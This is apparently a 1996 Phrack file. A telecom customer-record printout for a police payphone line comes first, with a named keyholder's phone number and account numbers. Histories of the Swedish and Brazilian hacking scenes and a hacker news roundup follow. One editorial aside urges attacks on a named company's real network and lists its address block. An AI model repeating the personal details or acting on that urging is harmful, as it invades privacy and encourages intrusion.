BMC/C/N/ / / Contr Signed : YES BILLING
REPAIR CONSENT Method of Pay: ORDINARY ACCOUNT
: ** Systems Bus : D A/C U/Enquiry: NO
Servicecare : S Sup Serv Bus : C D/M Case : NO
O/S fault : NO Cust Options : SINGLE LINE OPTION
Hist fault : NO OSC Ind : NO
Hazard : CUSTOMER CONTACTS
Warning : Issue : COM Notes : YES
ES
4A_ O-O
DCRD PRODUCT TARIFF DETAILS ??/??/?? 11:43
Exchange Name : DEAN Tel No : 031-332 2106 NQR
Installed : 04/10/83 a/c No : 8076 9640
Inst Class'n : BUS PAYPHONE Notes : YES S/S No :
QTY PROD ID SHORT DESC or MSC / CP NOTE TARIFF:RATE TOTAL
1 A17867 C PAYP LINE SKTD SGL LINE TG10 32.66 32.66
*
1 A19493 C OPTION 50 NON-ISDN SITE LINE 0.00 0.00
*
1 A11790 C INTERNAL EXTN OFF MASTER SCKT 0.00 0.00
*
1 A17817 O MINSTREL PLUS PHONE Outright sale
FREE GIFT - NO GUARANTEE
1 A11810 C METER PULSE FACILITY 6.70 6.70
*
1 A19398 C PAYPHONE 190MP TABLE-TOP MODEL Outright sale
KEYHOLDER BETTY MITCHELL ON 031.311.3338
1 Standard Care charge on A19398 12.00 12.00
*
TARIFF GRAND TOTAL : 51.36
ES
4A_ O-O
DIN DISPLAY NOTE DETAILS ??/??/?? 11:43
Installation : LOTHIAN & BORDERS POLICE Tel no : 031-332 2106 NQR
Name
WRITTEN < AUTHOR > EXPIRES
8/ 2/94 JOSEPHINE/8813 8/ 2/95
A/.D LTR SENT FOR 0506843235,0313322106
0506881101 AND 0313152007
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 17 of 18
****************************************************************************
International Scenes
There was once a time when hackers were basically isolated. It was
almost unheard of to run into hackers from countries other than the
United States. Then in the mid 1980's thanks largely to the existence
of chat systems accessible through X.25 networks like Altger, tchh and
QSD, hackers world-wide began to run into each other. They began to
talk, trade information, and learn from each other. Separate and diverse
subcultures began to merge into one collective scene and has brought us
the hacking subculture we know today. A subculture that knows no
borders, one whose denizens share the common goal of liberating
information from its corporate shackles.
With the incredible proliferation of the Internet around the globe, this
group is growing by leaps and bounds. With this in mind, we want to
help further unite the communities in various countries by shedding
light onto the hacking scenes that exist there. If you want to
contribute a file about the hacking scene in your country, please send
it to us at phrack@well.com.
This issue we have files about the scenes in Sweden and Brazil.
------------------------------------------------------------------------------
The Swedish Hacker Scene
It's about time to fill up this hole in the worldwide history of hackers
published in the Phrack series of articles on national scenes. Since no
one else seems to be getting around to do it I'd better do it myself.
Sweden was in fact one of the countries in the front line during the
birth of computers in the 1940's and 50's. By 1953 KTH university in
Stockholm built BESK, at the time being the fastest and most advanced
computer in the world. During the late 1960's Linkoping university
specialized in computer science and in 1973 the computer society Lysator
started out as an offshoot of american hacker culture of the kind you
could find at MIT during the 60's and 70's. They are still active and
often referred to as the first Swedish hacker society ever, which is
indeed true. Now days they still adhere to the international hacker
ethic of university societies and among their lines are as well idiots
as real bright guys (as is the case of most such societies) and their
contributions to the world of e-culture include Project Runeberg; a text
archive of Scandinavian literature, and a voluminous FTP archive.
There's actually a lot of ASCII work being done at Lysator, including
converting Phrack back issues to HTML format.
Despite the early interest in computers in Sweden there was no
equivalent to the American phreakers of the 1970's. This was not caused
by lack of knowledge but rather by dullness. Sweden was during the 70's
and early 80's in a period of both economic wealth and social mentality
commonly known as "The Welfare State". Everybody was facing the same
high economic standards, nobody was really displeased with Swedish
society, and the government granted lots of spare-time activities for
youths. Thus the growing ground for any outlaw societies was withdrawn.
(Eg Hells Angels didn't start out in Sweden until the 80's.) Swedes were
in fact too pleased, too wealthy and too filled up with their vision of
an almost utopian society to even get the faintest glimpse of an idea to
form any underground movements. Even political groupings like
Anarchists, Hippies (in Europe referred to as "Provos") or Fascists were
almost WIPED OUT by the extreme political climate and wealth of the
70's.
Thus, phreaker culture couldn't possibly start out in Sweden at this
time, though some freaked out engineers and radio-amateurs might have
built blue boxes and similar equipment for their household needs. This
state of society caused Sweden to lag behind other European and
Scandinavian countries in the field of outlaw hacking.
The first hacker activity in Sweden was reported by the authorities in
1980. The hacker in question was a student at Chalmers university in
Gothenburg and was sued for manipulating the account system into
granting him free access to the mainframe, for which was sentenced to a
relatively light fine. Apart from some similar incidents carried out by
bright individuals there was no real H/P scene until 1984. Also in 1980
BBS activity started out in Sweden. Most enthusiasts were using a
Swedish micro built by Luxor and DIAB in 1978 called ABC-80 (Obviously
inspired by the American TRS-80). These enthusiast, however, were well
organized engineers running a straight user-group, no anarchists or
radicals of any kind were ever involved.
In 1984 a magazine called "Rolig Teknik" started out as an offshoot of
YIPL/TAP featuring the same kind of material, and by 1987 some
journalist "discovered" this magazine, causing a lot of noise throughout
The Welfare State and bringing people out in a public debate of how to
defeat this magazine. (Though it actually didn't feature any illegal
material; even Sweden has the freedom of speech and press written
explicit in its constitution, as in the American First Amendment.)
"Rolig Teknik" rapidly became a cult media for underground electronic
freaks, outlaw radio amateurs, and other antisocial movements. But let's
not get ahead of events.
By early 1984 two youths aged 17 and 19, clearly inspired by the movie
"War Games", hacked their way into several Swedish computer systems
using a simple Apple II and a 300 baud modem, notably DAFA-Spar - a
register containing public information on every Swedish citizen. Though
there were no secret data in this computer, and though these hackers
never succeed in gaining root access, the incident was annoying to the
authorities. Also this year, some wealthy upper-middle class youths
started using the was-to-become major European home computer: the
Commodore 64. What the Apple II was for America, the C-64 was for
Europe. Enter the software crackers.
C-64 was THE symbol of hackerdom to Swedish youths in the 1980's. As
software cracker Mr.Z pioneered the hacker scene in 1983 with hundreds
and hundreds of cracked games, Swedish hackers somehow got to believe
that cracking games was the Big Thing for any hacker. Besides, not many
of these guys had modems. By 1987 American game producers were alarmed
by the Niagara of cracked C-64 software being downloaded from Europe,
causing them to start copy-protecting games that were to be exported to
Europe. A closer examination showed that a lot of these cracks were made
by Swedish groups, notably Triad and Fairlight. Thus, most Americans to
get in touch with the Swedish hacker scene were what you would refer to
as the "Warez D00ds" or "Pirates" of the time. Since the Swedes were
unable to phreak due to lack of knowledge in the telecom field, American
warez d00ds constantly called up Swedish crackers to obtain the latest
software.
There seems to be some kind of misconception in the American view of the
hacker culture of Europe: Not very many hackers in Sweden and the rest
of Europe got into phreaking nor net hacking in these early years,
perhaps with the exception of the movement in Germany caused by Chaos
Computer Club. By tradition most European hackers in general, and
Swedish hackers in particular, turned to software cracking and demo
programming. (The Demo as an art form was invented in Europe during
1984-86.) None of these activities were actually illegal at the time
being, though indeed underground. This might have helped to create the
general American view of European hackers as "Idiotic Immature Warez
D00ds". In fact, most European hackers look upon software cracking and
demo programming with pride, though spreading (warez trading) wasn't
considered a real hacker activity, and pirating for economic gain was
looked upon with disgust and utter contempt. Software spreading in all
forms was finally outlawed in Sweden January 1st 1993.
1986: Enter the Netrunners.
By the year 1986 the legendary BBS "Tungelstamonitorn" under the
supervision of Jinge Flucht began distributing H/P and Anarchy files.
Jinge himself, being a social inspector and thereby fully aware of the
state of society, was upset with The Welfare State and thought the
Swedes had gone law-abiding in an absurd and unhealthy manner. In his
view people seemed to accept laws without ever questioning them, thereby
making Sweden into a conformistic utopian hell. Later Jinge joined the
Fidonet where he got known for running the most explicit and intense
debates in Swedish BBS-culture ever.
Probably the H/P files stored at Jinges BBS were the spark that lit the
Swedish net hacking scene. Swedish hackers had SEEN "War Games", HEARD
about the CCC in Germany, and now they finally got their hands on
documents that explained the techniques. In 1987 excerpts from Steven
Levy's "Hackers" and Bill Leebs "Out of the Inner Circle" were reprinted
in the Swedish computer- magazine "Datormagazin" by editor Christer
Rindeblad, creating a common group-awareness among Swedish hackers.
("Out of the Inner Circle" had actually been translated to Swedish
already 1985, but was obviously read mostly by security experts and War
Games-obsessed wannabe's.) 1987 also saw the birth of the first
all-Swedish hacker group ever to make themselves a name outside
Scandinavia. This was of course SHA - Swedish Hackers Association.
SHA wanted to be a hacker group of international standards and
qualities. They collected the best people, storing up a knowledge basis
for future use. In the years 1989-92 SHA was at its height, successfully
trashing computer companies and computer scrap dumps and gaining access
to hundreds of computers. Inspired by the German hackers Pengo and
Hagbard in Leitstelle 511 they started having regular meetings on
fridays at their own booked table in a restaurant in Stockholm. Their
perhaps biggest achievement ever was made in 1991 when they wrote a
scanner to exploit the Unix NIS-bug, running it on 30 processes
simultaneously, and ending up with some 150.000 passwords whereof 600
gained root access. Though some would say SHA were a bit too fond of the
media image of hackers and sometimes had a weakness for hacker cliches,
no one can really deny their achievements.
Swedish hackers also got a lot attention for their carding activities in
1989. Both Sneaker of SHA and Erik XIV of Agile wrote modulo
10-calculators to produce endless series of valid Visa-numbers. Erik XIV
was even on national television, demonstrating the weaknesses of the
credit card system. Cynically they were both busted.
At Christmas 1990 the Swedish X.25 network Datapak and Decnet were both
attacked by a group of UK hackers called 8LGM (8 Little Green Men or
8-Legged Groove Machine - I don't know which one is a media nick). Using
a war dialer they scanned about 22.000 entries and successfully accessed
380 of these. This is perhaps the most well-known of all hacks in
Sweden, causing a lot of media noise. (The exact figures are a product
of the Swedish telephone system AXE that I will write more about in a
moment.) As reported in Phrack #43 they were busted and convicted under
the new British anti-hacker law.
Later Swedish achievements include the phonecard emulator, constructed
by Atari ST enthusiast Marvin in 1992, after hearing the Swedish phone
company Telia boast of these prepaid phonecards superior security.
Though these silicon-based chip phonecards (256 bytes serial EPROMs)
couldn't actually be recharged or easily tampered with, he realized
there was no problem in emulating the chip with a Motorola 68c705
one-chip computer. Some fake phonecards were manufactured and sold for
almost nothing among his very best friends more on a "See, it can be
done"-basis than with any intention to defraud Telia or earn heaps of
money. Somehow the blueprints for the emulator found its way into the
Internet.
Swedish hackers in general have a very strong tradition of forming
groups, due to their roots in programming activities rather than
phreaking. Group awareness and culture is very widespread and accepted
within the boundaries of the whole Swedish computer underground. Thus,
LOYALTY is very strong among Swedish hackers. Most hackers who get
busted by authorities or blackmailed by companies would rather DIE than
telling the name of even a single 10-year old warez d00d.
While we're at it - hacker busts, and phreaker busts in particular, are
carried out in quite a disturbing manner in Sweden. To explain this I
must first explain a bit about the Swedish telephone system.
Almost all Swedish networks use a system similar to 4ESS, constructed in
cooperation by the State Telecom "Televerket" and Swedish
telecommunications equipment producers Ericsson Telecom. This system is
called AXE, which is an abbreviation for Automatic Cross-Connection
Equipment. AXE is used in some 100 countries all over the world and
probably one of the most beautiful exchange systems ever developed. AXE
is designed for national, metropolitan and rural networks, and the same
system nucleus is used in all the different systems. It can control both
digital and analog equipment, though it's made with the aim on
transforming all Swedish networks from analog to digital connections. It
also comes with a fully featured bureaucratic organization for
maintenance, administration and economics in general. AXE has the
capability of building virtual groups in switching-stations, thus
putting your PBX into the telco soup as well, making you believe you
have the control over it though it's actually located elsewhere.
In short, this is an centralized, monolithic system of the horribly
efficient type that telcos love. It tells any amateur to keep their
hands off and do something else. Of course it's a system that hackers
and phreakers hate, since it's limited to authorities. The filthy crowd
do not know what is going on inside these exchanges, and the telcos like
to keep it that way.
AXE also works with stored program control that resides inside the
system core of every switching station. Of course this is all software,
and of course State Telecom, upon building AXE, couldn't hold back their
Big Brother tendencies.
The result is that every call made from anywhere to anywhere, is logged
in a central computer. Now that's something! Not only did this equipment
wipe out every possibility to box within Sweden, but it also removed all
kind of phone privacy. In fact not only calls are logged, but ALL
activity performed at your terminal. If you lift the handset, press a
digit and hang up, time, date and the digit you pressed is registered.
All this data is stored on magnetic tapes for 6 months.
Now, luckily Sweden has a strong Computer Privacy Act. You just aren't
allowed to set up and use such facilities as you please, not even if you
are the State Telecom. There is even a specific authority,
"Datainspektionen" (The Computer Inspection Department) with the only
purpose of looking after and preserve citizen privacy by protecting
individuals from corporate and governmental interests. As a result State
Telecom "Televerket" (which later changed name to "Telia" as they were
transformed from an authority into a private corporation as of July 1st
1993) were not allowed to give out any of the information gathered in
these registers to anyone else than either the calling or the receiving
party. Not even the police could have this information in case they
weren't suspecting a indictable crime resulting in at least 2 years of
prison, such as drug trading or terrorism, and you don't get that kind
of penalty for phreaking alone - at least not in Sweden.
But Telia could evade these restrictions. In order to successfully
phreak using PIN-codes, you have to call an operator using a Swedish
version of the 800-number: a 020-number. Telia could then claim the call
was made to the owner of that number: AT&T, MCI & Sprint mostly. (There
are of course Calling Cards in Sweden as well: "Telia Access" - neither
used nor abused by anybody.) As well as these companies have their own
intelligence agencies, so have Telia. Once eg AT&T had someone traced
for phreaking, Telia could easily produce a complete list of calls made
to AT&T operators from a certain number. Telia themselves would even use
information they weren't allowed to: they would pull out a list of ALL
outgoing calls from the phreaker in question including calls to MCI,
girlfriends, mom, dad, grandma... all logged calls.
Telia would then call this poor phreaker to their local Swedish office,
sticking the endless list under his/her nose, commanding: "TALK, or we
will turn you in to the authorities", carefully not to mention that all
information on the printout would be absolutely useless in court. The
only conclusive evidence would in fact be those calls traced back all
the way from America or wherever the phreaker called; in that way
rigorously documented. Naturally, the common phreaker had no legal
experience and wouldn't know about this. Instead he would talk, giving
out detailed information on his/her techniques worthy of a full-time
high-educated security consultant. After this session the phreaker was
given a bill of the calls that could indeed be proven in court. If
he/she didn't pay it - Telia (or any other operator) would end up
turning him/her to the authorities anyway. So much for cooperation.
Telia themselves would, if they felt it was necessary, go even further
than the overseas operators, systematically exposing every weakness in
the phreakers personal life, using the information in the computer log
for psychological terror.
This pattern of treatment of Swedish phreakers seems to be very much the
same among all telecom providers in Sweden. Lately Telia, under command
of security officer Pege Gustavsson made some noteworthy mistakes
though: in their efforts to convict as many phreakers as possible, they
called up companies receiving calls from "suspicious" individuals,
warning them about this or that person calling them over and over again.
This could only mean Telia was also systematically monitoring some
Swedish hackers and had formed some security group to carry out this
probation. Normally this should have been kept quiet, as Telia are
absolutely not allowed to form their own abuse police forces, but at
some instance they happened to call up a security company using
phreakers as informants. Of course this security company didn't like the
idea of having "their" phreakers traced around, and the matter was
brought to public attention. Many independent sources agreed that Telia
had violated the Swedish Computer Act, and hopefully this brought an end
to this wild tracing. You shouldn't be too sure though, since Telia
themselves never confessed of doing anything illegal.
As you might have understood the Computer Act is quite an important
factor in all legal discussions concerning Swedish hacking. This Act
came out as a result of general attention focused upon the computers vs.
privacy matter in 1973. As Sweden was one of the first countries to make
use of computers in governmental administration, and as Swedish
authorities were eager to register every possible piece of information,
some politically influential individuals started a debate resulting in
the founding of the Computer Act and the Computer Inspection Department.
As a result Sweden is light years ahead of most countries when it comes
to privacy matters. For example there is no problem in having the number
identification possibilities on your line deactivated for good, and it
won't cost you anything. You can also easily obtain free printouts from
any computer register containing information on you, including the
register at your local AXE-exchange.
To sum this article up I can draw the conclusion that even Sweden has
had its handful of bright hackers, each category bringing their straw to
the stack. Even though Swedish officials and companies would hardly
admit it, these hackers have obviously been very important for this
country, at least in forcing system managers, security officials,
software producers, policemen, politicians and so on to think things
over. Sweden has also attracted outside attention in some cases, and
will probably keep doing so. If you should pin- point one group that has
meant more to the Swedish scene than any other, it wouldn't be any of
the H/P groups, but rather the cracking pioneers Fairlight - a well
organized and world-famous warez producer.
Linus Walleij aka King Fisher / Triad
triad@df.lth.se
(Some handles have been changed to protect retired Swedish hackers from
luser mail.)
Swedish readers may be interested in the fact that I'm currently writing
a lengthy text in Swedish (a book actually) providing a closer look at
Swedish hacking history, which will be released on hypertext and ASCII
sometime later this year. Over and out from Sweden!
---------------------------------------------------------------------------
HACKING IN BRAZIL
=================
Before talking about hacking here, it's good to describe the conditions
of living. Right now, the country is a mix of Belgium and India. It's
possible to find both standards of living without travelling long
distances. The Southern part of the country concentrate most of the
industry, while in the west one can find Amazonia jungle. There are many
Brazils, one could say.
Beginning with the hacking and phreaking.
Hackers and computers enthusiasts have several different places for
meeting. When this thing started, by the time of that film "Wargames",
the real place to meet hackers and make contacts were the computer
shops, game-arcades and "Video-texto" terminals. The computer shops were
a meeting place because many of those "hackers" had no computers of
their own and the shop-owners would let them play with them as part of
a advertising tool to encourage people buying it for their kids.
Today that is no longer needed, since prices dropped down and people
make a team already at schools or sometimes just join a BBS (most people
who buy a modem, end up thinking about setting up a BBS). By the way,
most schools are advertising computer training as part of their
curricula, to charge more, and like everywhere, I guess, people no
longer learn typewriting, but computer-writing, and many brazilian
newspapers dedicate a section on computer knowledge once a week, with
advertising, hints, general info and even lists of BBS's.
A few years ago, the "Video-texto" terminals were also big meeting
places. That was part of a effort to make popular the use of a
computer linked by modem to get services like msx-games, info on
weather, check bank account and so on. Just like the Net, one could do
e-mail, by some fancy tricks and other things that could be called
hacking. The difference was that it was made by the state-owned
telephone company and each time the trick was too well know, it was
changed. The only way to keep in touch was keeping in touch with the
people who used the system like hell. It's no different than what it
happens with the computer gurus. The protocol used for that, X-25 is the
same used for the banking money transfers, but don't think it was
possible to do anything more than checking how much money one had and a
few other classified data. People who used that at home (not too many,
since the company didn't think it would be such a hit, and didn't
provide for it) could spend their fathers money discovering funny things
about the system, like messing with other people's phones and so. One
could also use the terminals at the Shopping Centers to make phone
calls to their friends without paying. The guy at the other end would be
heard by the small speaker.
Phreaking here in Brazil is something secret. Apart from the trick
described in the section "Letters to read by" at the summer 1994 of the
2600 Magazine, where one would call through locked rotatory telephone,
little is known about phreaking. One thing is that people who enrolled
in Telecommunications Engineering could call Europe and USA with ease,
but they would not tell you how. It must be said that all public phones
have metal cables around the cables and that the phone machines are
quite tough to break down. I guess it wasn't for beauty.
The phones use some sort of metal coins called fichas, which must be
bought somewhere. The trick is to use a coin with a string, so it would
not be collected. But if the police caught... The police doesn't follow
rules about that. Either they put a fine on the guy for that, or arrest
him for vandalism or anything else they think of at the moment. It is
hassle, anyway. My friend who was doing electrical Engineering told me
that boxing in Brazil was impossible. The system is just not good enough
to be boxed. Another friend of mine told me that in the Northeast part,
where people are a little bit different and more easy-going, the phone
system can be boxed, because some top-brass asked the company to let
that feature implemented. The Phone company doesn't admit any knowledge
about that.
Internet access is something quite hard to get today. Until a few weeks
ago, the system would not let the creation of a Internet site that was
not part of some research project. So, only Universities and like were
capable of putting people in the Net Universe. In the University of Sco
Paulo, people in the post-graduation courses could get it with ease, but
graduating students would have to show some connection to a research
project. That in theory, because the students found out that one could
use the IBM CDC 4360 to telnet without a Internet account. Also, all the
faculties that had computer rooms full of AT 386 which where linked by
fiber optics to this computer. Another one did the file transfers
between the accounts and the computer at the computer rooms and that
ftp was also possible without an account, but only to a few sites, like
oakland and so. That lasted for about a year, until that thing was
fixed in the router, but only at the Politechnik School. Says the legend
that the guys were downloading too much GIF and JPG pictures of Top
Models from a ftp site nearby. That spent so much bandwidth that the
site started to complain and both things happened: the site stopped to
store GIF's of wonderful women in swimsuit and the router was fixed to
prevent ftp without a Internet account. One can still today connect the
outside world via telnet and many people have accounts in Internet BBS
like Isca BBS, Cleveland Freenet and like. The Bad Boy BBS was "in",
until it went out of business. This kind of access is not good, though,
for it is very slow, sometimes. Also, it is hard to download something
bigger than 60 kbyte. The way I devised, downloading the file inside
the bbs and uuencoding it. This way you could list the file and capture
the screen listing, uudecode it after some editing and have a working
.exe or .zip file.
By these means one could, inside the Campus, do all downloading one
wanted, from anywhere in the world. Outside the campus, it is possible
to do it by phone lines, but: the Modem will not go faster than 2400
without character correction (no Zmodem at all). Which makes quite hard
to download compressed files. One could an account: that would be
possible by these means, but the amount of trash during the phone
connection would make it real hard to type in passwords and like. To try
doing any kind of thin g but reading letters by modem is some kind of
torture. The real thing is to do it by "linha dedicada", a special line
for computer transmission. It's much more expensive though, but if you
have the money to spend with that...
Perhaps the best way to get access to an Internet account though is to
be part of the research project "Escola do Futuro" that among other
things get schools linked by the Net. That's what I did and they pay me
quite well to search for data in the Net, for the students of those
schools. The University of Campinas is said to give all students a
Internet account regardless of knowledge of what-it-is, as soon as the
guy(girl) gets in. Of course here there's BITNET also. That's doomed for
extinction, but this or that reason keeps people from closing it down.
Most teachers use it, guess there's even some post-graduation work
written about that. It's easier to access via modem, also. Old habits
die hard.
Outside the Campus, for common people, there are few opportunities. The
only thing you can get, at least until the opening of commercial
internet sites, something about to happen one of these days, is access
by mail. You join one BBS with Internet access, and your mail is sent by
a Internet account later during the day. This is not a direct access,
as one can see, but it's a easy way to access by modem. Problem is that
you have to pay if you use it too much. The BBS's that do it don't do it
for free, also. Connection to the Compuserve is also possible, but it
also costs a lot of money, for my point of view.
Because of the newspapers, the knowledge about Internet is spreading
fast and the number of sites is growing the same way everywhere else in
the world. Even the military people are starting with it. There are plan
s to enhance it and make better connections, and some informative
material is being translated in Portuguese, like "Zen and the Art of
Internet" and made available in the gopher.rnp.br. There are many
mirrors from many famous sites, like Simtel20 and at least one Internet
BBS, the "Jacare BBS" (Alligator bbs, available by telnetting
bbs.secom.ufpa.br - 192.147.210.1 - login bbs. World Wide Web sites are
becoming sort of popular also, but still available only to a few people
who are lucky enough to get the access. Brazilian hackers are not very
fond of sharing the knowledge of how to get access and other things,
sometimes because of fear of losing it, sometimes because the greed of
it would overcharge the system. There's no hacker magazine here, yet,
and very few people confess their curiosity about hacking for knowledge
for fear of not finding jobs. Anyway most would-be hackers either get a
job and stop hacking for fun or keep their activities secret in order to
pursue their objectives.
Today, Brazilian Hacker Underground did change a little. Lots of
magazines, dealing only with Internet Issues, are being published. There
is a hacker zine, the now famous "Barata Eletrica". This and the hacker
list I created is starting to unite the computer rats, here. But I had
to stop hacking in order to write the e-zine. Too famous to do that.
Another guy just started the thing. He did not learn with my mistake and
is signing it with his name, also. Received lots of letters, even as far
as Mozambique, praising the material, which is very soft, for fear of
losing my net access. Twice my account was "freezed". The people at my
site are paranoid. Suffered too much from break-ins already. Most BBS's
are trying to turn themselves in Internet providers or else, to get
e-mail access. There was a fear the State would control the thing, like
they did with the Phone system. Can any of you guys imagine what it is,
to pay 4.000 US$ dollars for a phone line? In the City of Sao Paulo,
(look like L.A., one can say), that's the average price. Cellular is
cheaper. Motorola rules. The public phone system was changed again. No
more "fichas". At least for long distance calls. It's a small card that
looks like plastic one side and magnetic material in the other. m still
trying to do 2600 meetings. Oh, once in a while, there is a break-in
here and there, and a hacker is interviewed in TV, but people are only
now making the difference between the good guys (hackers) and the bad
guys (crackers). With Win95, people are losing fear of exchanging
virus-sources files. The lack of philes in Portuguese makes it dificult
for people to learn about hacking. People who know about it, don't have
enough time to write. I started to unite some guys to do a translation
of "hacker crackdown", but that's another story. I shortened the name of
the book to "crack.gz". Guess what's happened? My account is blocked up
to this day. They told me I'll get my access back. One of these days.
One of these days I'll re-write this article, and tell the whole thing
in detail.
Any Portuguese speaker that does not know about my e-zine,
try a ftp.eff.org mirror. The URL:
ftp://ftp.eff.org/pub/Publications/CuD/Barata_Eletrica
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 18 of 18
PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Security Software Thwarts Hackers July 23, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(PRNewswire)
World Star Holdings, Ltd. announced today that there have been approximately
5,000 unsuccessful attempts to break its proprietary VPAGE Internet security
system. In order to further demonstrate the functionality of its technology,
they Company has unveiled a new addition to the World Star Internet security
challenge: "The World Star Cyberhospital."
The company recently launched an online contest offering more than $50,000 in
cash and prizes to the first person to break its security.
[ THESE CHALLENGES ARE UNADULTERATED BULLSHIT. Phrack suggests you test
something other than the fake, non-production demo contest system. How
well does their software hold up in a real business environment?
(in other words: THEIRS!?!!@$)
World Star Holdings (NET-WORLDSTAR-MB-CA)
165 Garry Street
Winnipeg, Manitoba R3C 1G7
CA
Netname: WORLDSTAR-MB-CA
Netnumber: 205.200.247.0 ]
-----------------------------------------------------------------------------
Your Cellular Phone Number May Be Up For Grabs August 21, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Mimi Whitefield (Miami Herald)
Electronic bandits have snatched cellular phone numbers from the airwaves and
cloned phones used by the Miami office of the Secret Service.
BellSouth Florida president Joe Lacher's phone has been cloned; Spero Canton,
spokesman for BellSouth, has been a victim three times over.
"The bums never sleep. They're everywhere," complained Bill Oberlink,
regional president for AT&T Wireless Services.
But the good news is that law enforcement agencies and cellular companies
themselves are fighting back with a new arsenal of tools, technology and laws
that make it easier to detect and prosecute cellular bandits.
-----------------------------------------------------------------------------
Miami Fraud Squad Pursues Cellular Bandits August 12, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Audra D.S. Burch (Miami Herald)
How's this for capitalism gone awry: Metro-Dade police nabbed a cellular
bandit who was selling a $150 package deal -- $75 each for a stolen phone
and number -- along with a 30-day guarantee on unlimited illegal air time.
In a sting operation, police took him on the cut-rate offer.
Thanks to the work of a special Metro-Dade Police Economic Crimes Bureau, the
entrepreneurial cloner got a prison sentence.
-----------------------------------------------------------------------------
Newer Technology Aids Fight Against Cellular Fraud August 21, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Mimi Whitefield (Miami Herald)
New technology is on the side of cellular companies fighting telecom criminals
who can rack up thousands of dollars in illegal charges before a consumer even
knows he's been hit.
New Jersey-based Bellcore, for example, has developed NetMavin software,
which can detect fraudulent or unusual calling patterns within half an hour.
"This is really going to screw the cloners up," said Roseanna DeMaria, an
AT&T Wireless executive.
-----------------------------------------------------------------------------
SPA Files Copyright Suit July 28, 1996
~~~~~~~~~~~~~~~~~~~~~~~~
(Reuters News)
The Software Publishers Association said Sunday it filed a civil copyright
infringement lawsuit against a Seattle man for illegal distribution of
software on the Internet.
The suit, which was filed July 23 in the U.S. District Court in Seattle,
alleges that Max Butler illegally uploaded copyrighted software to a file
transfer protocol site for distribution across the Internet, the trade
association said.
"This action is a warning to Internet users who believe they can infringe
software copyrights without fear of exposure or penalty," said Sandra
Sellers, Software Publisher's vice president of intellectual property
education and enforcement.
-----------------------------------------------------------------------------
The L0pht August, 1996
~~~~~~~~~
by Steve G. Steinberg (Wired) p. 40
What do a group of hackers do when the equipment they've accumulated over
years of dumpster diving no longer fits in their apartments? They get
a l0pht. Since 1993, a core group of seven Boston-based hackers have rented
a loft space for hacking, trading information about cellular phones security,
and building things like a wireless Internet service using discarded
microwave equipment.
Now that all of them have day jobs in the industry, why do they keep at it?
"For the girls and the text files, of course," says Mudge.
[ HELL YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ]
-----------------------------------------------------------------------------
Cracking Down on the Outlaws of Cyberspace July 2, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by M.J. Zuckerman (USA Today) p. 4B
What's it take to be America's top cybercop?
"I was a hockey referee, so I'm used to being beaten up," suggests Jim
Christy, who is among those most often mentioned for the title. And he's
been at it for only a decade.
Today, with the weighty title of Chief of Computer Crime Investigations
and Information Warfare, he is one of 68 computer investigators in the
Air Force Office of Special Investigations (OSI).
Christy, a Baltimore native, stumbled into the computer field. After
drawing No. 35 in the draft lottery during the Vietnam War, he joined the
Air Force rather than waiting to be drafted. He spent the next four years
as a computer key punch operator, followed by 13 years as a civilian working
computers at the Pentagon.
When he moved to OSI, Christy largely ceased his hands-on involvement with
computers and systems.
Since last fall, Christy has been on temporary assignment to the Senate
Permanent Subcommittee on Investigations, helping them examine security
in cyberspace.
"I like working up on Capitol Hill, because you can make a difference,"
Christy says.
-----------------------------------------------------------------------------
Hackers Penetrate Justice Department Home Page August 18, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(AP News Wire)
Internet hackers infiltrated the Justice Department's home page
yesterday, altering the official web site to include swasticas,
obscene pictures and lots of criticism of the Communications Decency Act.
The official web site, which was turned off by government technicians
when it was discovered, was changed to read "United States Department of
Injustice," next to a red, black and white flag bearing a swastika.
The page included color pictures of George Washington, Adolf Hitler, and a
topless Jennifer Aniston.
[ A link to a copy of the page is it http://www.fc.net/phrack/doj ]
-----------------------------------------------------------------------------
Employment Prospect Grim for Hacker August 19, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(AP News wire)
Employment prospects are grim for Kevin Lee Poulsen, a computer whiz
imprisoned five years for his cyberspace havoc.
The 30-year-old hacker has been barred from getting near a computer for the
next three years and he now fears selling cowboy boots at a Western store
will be his only opportunity to make some money.
"It's the only place where I've been greeted with a positive attitude," he
said during an interview last week. "I can't get a job that I am qualified
for, basically."
On September 3, he goes to federal court in hopes of having some of the
computer restrictions relaxed.
-----------------------------------------------------------------------------
School Hires Student To Hack Into Computers August 22, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(The Sun Herald)
Students at Palisades Park's high school needed their transcripts to
send off to colleges. But they were in the computer and no one who knew
the password could be reached. So the school hired a 16-year-old hacker
to break in.
Superintendent George Fasciano was forced to explain to the School
Board on Monday the $875 bill for the services of Matthew Fielder.
-----------------------------------------------------------------------------
Feds aim low on hacker crackdown June 21, 1996
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Lewis Z. Koch (Upside Online News)
Nineteen-year-old Christopher Schanot of St. Louis, Mo. has been
languishing in a Federal jail since March 25, 1996, charged with four
counts of computer hacking. He is not allowed to post bond, because
Federal authorities contend he is "a computer genius intent on
infiltrating computer systems of some of the largest companies and
entities in the country," and because a jailhouse snitch claims Schanot
bragged he would run away if he were released. He has never been charged
with a crime or arrested before.
Schanot's problems began after he ran away from home on May 30, 1995,
taking some of his disks, a hard drive and personal items. According to a
knowledgeable source close to Schanot, Chris felt his parents, especially
his father Michael, didn't understand or respect him.
